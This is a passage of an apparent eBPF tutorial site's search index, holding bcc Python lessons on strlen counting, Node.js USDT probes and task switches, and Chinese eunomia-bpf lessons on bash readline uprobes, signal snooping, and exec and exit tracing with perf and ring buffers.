\"\\x01\\x1b]0;root@bgregg-test: ~\\x07\\x02root@bgregg-test:~# \" These are various strings that are being processed by this library function while tracing, along with their frequency counts. strlen() was called on \"LC_ALL\" 12 times, for example. Code is examples/tracing/strlen_count.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h> struct key_t { char c[80];\n};\nBPF_HASH(counts, struct key_t); int count(struct pt_regs *ctx) { if (!PT_REGS_PARM1(ctx)) return 0; struct key_t key = {}; u64 zero = 0, *val; bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx)); // could also use `counts.increment(key)` val = counts.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n};\n\"\"\")\nb.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") # header\nprint(\"Tracing strlen()... Hit Ctrl-C to end.\") # sleep until Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: pass # print output\nprint(\"%10s %s\" % (\"COUNT\", \"STRING\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) Things to learn: PT_REGS_PARM1(ctx): This fetches the first argument to strlen(), which is the string. b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\"): Attach to library \"c\" (if this is the main program, use its pathname), instrument the user-level function strlen(), and on execution call our C function count().","breadcrumbs":"bcc Python Developer Tutorial » Lesson 14. strlen_count.py","id":"337","title":"Lesson 14. strlen_count.py"},"338":{"body":"This program instruments a user statically-defined tracing (USDT) probe, which is the user-level version of a kernel tracepoint. Sample output: # nodejs_http_server.py 24728\nTIME(s) COMM PID ARGS\n24653324.561322998 node 24728 path:/index.html\n24653335.343401998 node 24728 path:/images/welcome.png\n24653340.510164998 node 24728 path:/images/favicon.png Relevant code from examples/tracing/nodejs_http_server.py : from __future__ import print_function\nfrom bcc import BPF, USDT\nimport sys if len(sys.argv) < 2: print(\"USAGE: nodejs_http_server PID\") exit()\npid = sys.argv[1]\ndebug = 0 # load BPF program\nbpf_text = \"\"\"\n#include <uapi/linux/ptrace.h>\nint do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]={0}; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n};\n\"\"\" # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\")\nif debug: print(u.get_text()) print(bpf_text) # initialize BPF\nb = BPF(text=bpf_text, usdt_contexts=[u]) Things to learn: bpf_usdt_readarg(6, ctx, &addr): Read the address of argument 6 from the USDT probe into addr. bpf_probe_read_user(&path, sizeof(path), (void *)addr): Now the string addr points to into our path variable. u = USDT(pid=int(pid)): Initialize USDT tracing for the given PID. u.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\"): Attach our do_trace() BPF C function to the Node.js http__server__request USDT probe. b = BPF(text=bpf_text, usdt_contexts=[u]): Need to pass in our USDT object, u, to BPF object creation.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 15. nodejs_http_server.py","id":"338","title":"Lesson 15. nodejs_http_server.py"},"339":{"body":"This is an older tutorial included as a bonus lesson. Use this for recap and to reinforce what you've already learned. This is a slightly more complex tracing example than Hello World. This program will be invoked for every task change in the kernel, and record in a BPF map the new and old pids. The C program below introduces a new concept: the prev argument. This argument is treated specially by the BCC frontend, such that accesses to this variable are read from the saved context that is passed by the kprobe infrastructure. The prototype of the args starting from position 1 should match the prototype of the kernel function being kprobed. If done so, the program will have seamless access to the function parameters. #include <uapi/linux/ptrace.h>\n#include <linux/sched.h> struct key_t { u32 prev_pid; u32 curr_pid;\n}; BPF_HASH(stats, struct key_t, u64, 1024);\nint count_sched(struct pt_regs *ctx, struct task_struct *prev) { struct key_t key = {}; u64 zero = 0, *val; key.curr_pid = bpf_get_current_pid_tgid(); key.prev_pid = prev->pid; // could also use `stats.increment(key);` val = stats.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n} The userspace component loads the file shown above, and attaches it to the finish_task_switch kernel function. The [] operator of the BPF object gives access to each BPF_HASH in the program, allowing pass-through access to the values residing in the kernel. Use the object as you would any other python dict object: read, update, and deletes are all allowed. from bcc import BPF\nfrom time import sleep b = BPF(src_file=\"task_switch.c\")\nb.attach_kprobe(event=\"finish_task_switch\", fn_name=\"count_sched\") # generate many schedule events\nfor i in range(0, 100): sleep(0.01) for k, v in b[\"stats\"].items(): print(\"task_switch[%5d->%5d]=%u\" % (k.prev_pid, k.curr_pid, v.value)) These programs can be found in the files examples/tracing/task_switch.c and examples/tracing/task_switch.py respectively.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 16. task_switch.c","id":"339","title":"Lesson 16. task_switch.c"},"34":{"body":"uprobe是一种用户空间探针，uprobe探针允许在用户空间程序中动态插桩，插桩位置包括：函数入口、特定偏移处，以及函数返回处。当我们定义uprobe时，内核会在附加的指令上创建快速断点指令（x86机器上为int3指令），当程序执行到该指令时，内核将触发事件，程序陷入到内核态，并以回调函数的方式调用探针函数，执行完探针函数再返回到用户态继续执行后序的指令。 uprobe基于文件，当一个二进制文件中的一个函数被跟踪时，所有使用到这个文件的进程都会被插桩，包括那些尚未启动的进程，这样就可以在全系统范围内跟踪系统调用。 uprobe适用于在用户态去解析一些内核态探针无法解析的流量，例如http2流量（报文header被编码，内核无法解码），https流量（加密流量，内核无法解密）。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 什么是uprobe","id":"34","title":"什么是uprobe"},"340":{"body":"For further study, see Sasha Goldshtein's linux-tracing-workshop , which contains additional labs. There are also many tools in bcc /tools to study. Please read CONTRIBUTING-SCRIPTS.md if you wish to contribute tools to bcc. At the bottom of the main README.md , you'll also find methods for contacting us. Good luck, and happy tracing!","breadcrumbs":"bcc Python Developer Tutorial » Lesson 17. Further Study","id":"340","title":"Lesson 17. Further Study"},"341":{"body":"To do.","breadcrumbs":"bcc Python Developer Tutorial » Networking","id":"341","title":"Networking"},"35":{"body":"uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针，我们可以通过它来捕获用户空间程序调用的系统函数。 例如，我们可以使用 uprobe 来捕获 bash 的 readline 函数调用，从而获取用户在 bash 中输入的命令行。示例代码如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define TASK_COMM_LEN 16\n#define MAX_LINE_SIZE 80 /* Format of u[ret]probe section definition supporting auto-attach: * u[ret]probe/binary:function[+offset] * * binary can be an absolute/relative path or a filename; the latter is resolved to a * full binary path via bpf_program__attach_uprobe_opts. * * Specifying uprobe+ ensures we carry out strict matching; either \"uprobe\" must be * specified (and auto-attach is not possible) or the above format is specified for * auto-attach. */\nSEC(\"uretprobe//bin/bash:readline\")\nint BPF_KRETPROBE(printret, const void *ret)\n{ char str[MAX_LINE_SIZE]; char comm[TASK_COMM_LEN]; u32 pid; if (!ret) return 0; bpf_get_current_comm(&comm, sizeof(comm)); pid = bpf_get_current_pid_tgid() >> 32; bpf_probe_read_user_str(str, sizeof(str), ret); bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); return 0;\n}; char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数，即 printret 函数。 在 printret 函数中，我们首先获取了调用 readline 函数的进程的进程名称和进程 ID，然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串，最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 除此之外，我们还需要通过 SEC 宏来定义 uprobe 探针，并使用 BPF_KRETPROBE 宏来定义探针函数。 在 SEC 宏中，我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如，上面的代码中的 SEC 宏的定义如下： SEC(\"uprobe//bin/bash:readline\") 这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 接下来，我们需要使用 BPF_KRETPROBE 宏来定义探针函数，例如： BPF_KRETPROBE(printret, const void *ret) 这里的 printret 是探针函数的名称，const void *ret 是探针函数的参数，它代表被捕获的函数的返回值。 然后，我们使用了 bpf_get_current_comm 函数获取当前任务的名称，并将其存储在 comm 数组中。 bpf_get_current_comm(&comm, sizeof(comm)); 使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID，并将其存储在 pid 变量中。 pid = bpf_get_current_pid_tgid() >> 32; 使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值，并将其存储在 str 数组中。 bpf_probe_read_user_str(str, sizeof(str), ret); 最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。 bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc bashreadline.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff 可以看到，我们成功的捕获了 bash 的 readline 函数调用，并获取了用户在 bash 中输入的命令行。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 使用 uprobe 捕获 bash 的 readline 函数调用","id":"35","title":"使用 uprobe 捕获 bash 的 readline 函数调用"},"36":{"body":"在上述代码中，我们使用了 SEC 宏来定义了一个 uprobe 探针，它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外，我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值，并将其打印到内核日志中。通过这样的方式，我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用，并获取用户在 bash 中输入的命令行。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 总结","id":"36","title":"总结"},"37":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第六篇，主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态","id":"37","title":"eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态"},"38":{"body":"示例代码如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define MAX_ENTRIES 10240\n#define TASK_COMM_LEN 16 struct event { unsigned int pid; unsigned int tpid; int sig; int ret; char comm[TASK_COMM_LEN];\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); static int probe_entry(pid_t tpid, int sig)\n{ struct event event = {}; __u64 pid_tgid; __u32 tid; pid_tgid = bpf_get_current_pid_tgid(); tid = (__u32)pid_tgid; event.pid = pid_tgid >> 32; event.tpid = tpid; event.sig = sig; bpf_get_current_comm(event.comm, sizeof(event.comm)); bpf_map_update_elem(&values, &tid, &event, BPF_ANY); return 0;\n} static int probe_exit(void *ctx, int ret)\n{ __u64 pid_tgid = bpf_get_current_pid_tgid(); __u32 tid = (__u32)pid_tgid; struct event *eventp; eventp = bpf_map_lookup_elem(&values, &tid); if (!eventp) return 0; eventp->ret = ret; bpf_printk(\"PID %d (%s) sent signal %d to PID %d, ret = %d\", eventp->pid, eventp->comm, eventp->sig, eventp->tpid, ret); cleanup: bpf_map_delete_elem(&values, &tid); return 0;\n} SEC(\"tracepoint/syscalls/sys_enter_kill\")\nint kill_entry(struct trace_event_raw_sys_enter *ctx)\n{ pid_t tpid = (pid_t)ctx->args[0]; int sig = (int)ctx->args[1]; return probe_entry(tpid, sig);\n} SEC(\"tracepoint/syscalls/sys_exit_kill\")\nint kill_exit(struct trace_event_raw_sys_exit *ctx)\n{ return probe_exit(ctx, ctx->ret);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 上面的代码定义了一个 eBPF 程序，用于捕获进程发送信号的系统调用，包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件，并在这些事件发生时执行指定的探针函数，例如 probe_entry 和 probe_exit。 在探针函数中，我们使用 bpf_map 存储捕获的事件信息，包括发送信号的进程 ID、接收信号的进程 ID、信号值和系统调用的返回值。在系统调用退出时，我们将获取存储在 bpf_map 中的事件信息，并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 最后，我们还需要使用 SEC 宏来定义探针，并指定要捕获的系统调用的名称，以及要执行的探针函数。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc sigsnoop.bpf.c\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-3517 [003] d..31 82575.798191: bpf_trace_printk: PID 3517 (node) sent signal 0 to PID 3427, ret = 0 node-15194 [003] d..31 82575.849227: bpf_trace_printk: PID 15194 (node) sent signal 0 to PID 3427, ret = 0 node-30016 [003] d..31 82576.001361: bpf_trace_printk: PID 30016 (node) sent signal 0 to PID 3427, ret = 0 cpptools-srv-38617 [002] d..31 82576.461085: bpf_trace_printk: PID 38617 (cpptools-srv) sent signal 0 to PID 30496, ret = 0 node-30040 [002] d..31 82576.467720: bpf_trace_printk: PID 30016 (node) sent signal 0 to PID 3427, ret = 0","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » sigsnoop","id":"38","title":"sigsnoop"},"39":{"body":"本文主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。使用 hash map 需要定义一个结构体： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); 并使用一些对应的 API 进行访问，例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » 总结","id":"39","title":"总结"},"4":{"body":"Google 或者其他搜索引擎查找：eBPF 询问 ChatGPT 之类的东西：eBPF 是什么？ 推荐： 阅读 ebpf 简介： https://ebpf.io/ （30min） 简要了解一下 ebpf 内核相关文档： https://prototype-kernel.readthedocs.io/en/latest/bpf/ （知道有问题去哪里查询，30min） 阅读 ebpf 中文入门指南： https://www.modb.pro/db/391570 （1h） 有大量的参考资料： https://github.com/zoidbergwill/awesome-ebpf （2-3h） 可以选自己感兴趣的 PPT 翻一翻： https://github.com/gojue/ebpf-slide （1-2h） 回答三个问题： 了解 eBPF 是什么东西？为啥要有这个玩意，不能用内核模块？ 它有什么功能？能在 Linux 内核里面完成哪些事情？有哪些 eBPF 程序的类型和 helper（不需要知道全部，但是需要知道去哪里找）？ 能拿来做什么？比如说在哪些场景中进行运用？网络、安全、可观测性？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 入门（5-7h）","id":"4","title":"eBPF 入门（5-7h）"},"40":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第七篇，主要介绍如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » eBPF 入门实践教程七：捕获进程执行/退出时间，通过 perf event array 向用户态打印输出","id":"40","title":"eBPF 入门实践教程七：捕获进程执行/退出时间，通过 perf event array 向用户态打印输出"},"41":{"body":"eBPF 提供了两个环形缓冲区，可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区，，它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » perf buffer","id":"41","title":"perf buffer"},"42":{"body":"通过 perf event array 向用户态命令行打印输出，需要编写一个头文件，一个 C 源文件。示例代码如下： 头文件：execsnoop.h #ifndef __EXECSNOOP_H\n#define __EXECSNOOP_H #define TASK_COMM_LEN 16 struct event { int pid; int ppid; int uid; int retval; bool is_exit; char comm[TASK_COMM_LEN];\n}; #endif /* __EXECSNOOP_H */ 源文件：execsnoop.bpf.c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include \"execsnoop.h\" struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/syscalls/sys_enter_execve\")\nint tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx)\n{ u64 id; pid_t pid, tgid; struct event event={0}; struct task_struct *task; uid_t uid = (u32)bpf_get_current_uid_gid(); id = bpf_get_current_pid_tgid(); tgid = id >> 32; event.pid = tgid; event.uid = uid; task = (struct task_struct*)bpf_get_current_task(); event.ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&event.comm, sizeof(event.comm)); bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码定义了个 eBPF 程序，用于捕获进程执行 execve 系统调用的入口。 在入口程序中，我们首先获取了当前进程的进程 ID 和用户 ID，然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体，并通过 bpf_probe_read_str 函数读取了进程名称。最后，我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 使用这段代码，我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 使用容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者使用 ecc 编译： ecc execsnoop.bpf.c execsnoop.h 运行 $ sudo ./ecli run package.json TIME PID PPID UID COMM 21:28:30 40747 3517 1000 node\n21:28:30 40748 40747 1000 sh\n21:28:30 40749 3517 1000 node\n21:28:30 40750 40749 1000 sh\n21:28:30 40751 3517 1000 node\n21:28:30 40752 40751 1000 sh\n21:28:30 40753 40752 1000 cpuUsage.sh","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » execsnoop","id":"42","title":"execsnoop"},"43":{"body":"本文介绍了如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中，定义这样一个结构体和对应的头文件： struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 就可以往用户态直接发送信息。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » 总结","id":"43","title":"总结"},"44":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出","id":"44","title":"eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出"},"45":{"body":"现在有一个新的 BPF 数据结构可用，eBPF 环形缓冲区（ring buffer）。它解决了 BPF perf buffer（当今从内核向用户空间发送数据的事实上的标准）的内存效率和事件重排问题，同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移，又有新的保留/提交API，具有更好的可用性。另外，合成和真实世界的基准测试表明，在几乎所有的情况下，所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » ring buffer","id":"45","title":"ring buffer"},"46":{"body":"只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录，它通常会使用 BPF perf buffer（perfbuf）来实现。Perfbuf 是每个CPU循环缓冲区的集合，它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好，但由于其按CPU设计，它有两个主要的缺点，在实践中被证明是不方便的：内存的低效使用和事件的重新排序。 为了解决这些问题，从Linux 5.8开始，BPF提供了一个新的BPF数据结构（BPF map）。BPF环形缓冲区（ringbuf）。它是一个多生产者、单消费者（MPSC）队列，可以同时在多个CPU上安全共享。 BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能: 变长的数据记录。 能够通过内存映射区域有效地从用户空间读取数据，而不需要额外的内存拷贝和/或进入内核的系统调用。 既支持epoll通知，又能以绝对最小的延迟进行忙环操作。 同时，BPF ringbuf解决了BPF perfbuf的以下问题: 内存开销。 数据排序。 浪费的工作和额外的数据复制。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF ringbuf vs eBPF perfbuf","id":"46","title":"eBPF ringbuf vs eBPF perfbuf"},"47":{"body":"本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件，并使用 ring buffer 向用户态打印输出。 使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似，首先需要定义一个头文件： 头文件：exitsnoop.h #ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN];\n}; #endif /* __BOOTSTRAP_H */ 源文件：exitsnoop.bpf.c #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"exitsnoop.h\"\nchar LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出： 首先，我们引入所需的头文件和 exitsnoop.h。 定义一个名为 \"LICENSE\" 的全局变量，内容为 \"Dual BSD/GPL\"，这是 eBPF 程序的许可证要求。 定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射，它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024，代表 ring buffer 的最大容量。 定义一个名为 handle_exit 的 eBPF 程序，它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。 使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程，PID 和 TID 相同；对于子线程，它们是不同的。我们只关心进程（主线程）的退出，因此在 PID 和 TID 不同时返回 0，忽略子线程退出事件。 使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败，返回 0。 使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。 将进程相关信息填充到预留的事件结构体 e 中，包括进程持续时间、PID、PPID、退出代码以及进程名称。 最后，使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer，之后在用户空间进行处理和输出。 这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » exitsnoop","id":"47","title":"exitsnoop"},"48":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest Or $ ecc exitsnoop.bpf.c exitsnoop.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ./ecli run package.json TIME PID PPID EXIT_CODE DURATION_NS COMM 21:40:09 42050 42049 0 0 which\n21:40:09 42049 3517 0 0 sh\n21:40:09 42052 42051 0 0 ps\n21:40:09 42051 3517 0 0 sh\n21:40:09 42055 42054 0 0 sed\n21:40:09 42056 42054 0 0 cat\n21:40:09 42057 42054 0 0 cat\n21:40:09 42058 42054 0 0 cat\n21:40:09 42059 42054 0 0 cat","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » Compile and Run","id":"48","title":"Compile and Run"},"49":{"body":"本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序，该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 发送给用户空间程序。在本文中，我们使用 eunomia-bpf 编译运行了这个例子。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » 总结","id":"49","title":"总结"},"5":{"body":"了解并尝试一下 eBPF 开发框架： BCC 开发各类小工具的例子： https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md （跑一遍，3-4h） libbpf 的一些例子： https://github.com/libbpf/libbpf-bootstrap （选感兴趣的运行一下，并阅读一下源代码，2h） 基于 libbpf 和 eunomia-bpf 的教程： https://github.com/eunomia-bpf/bpf-developer-tutorial （阅读 1-10 的部分，3-4h） 其他开发框架：Go 语言或者 Rust 语言，请自行搜索并且尝试（0-2h） 有任何问题或者想了解的东西，不管是不是和本项目相关，都可以在本项目的 discussions 里面开始讨论。 回答一些问题，并且进行一些尝试（2-5h）： 如何开发一个最简单的 eBPF 程序？ 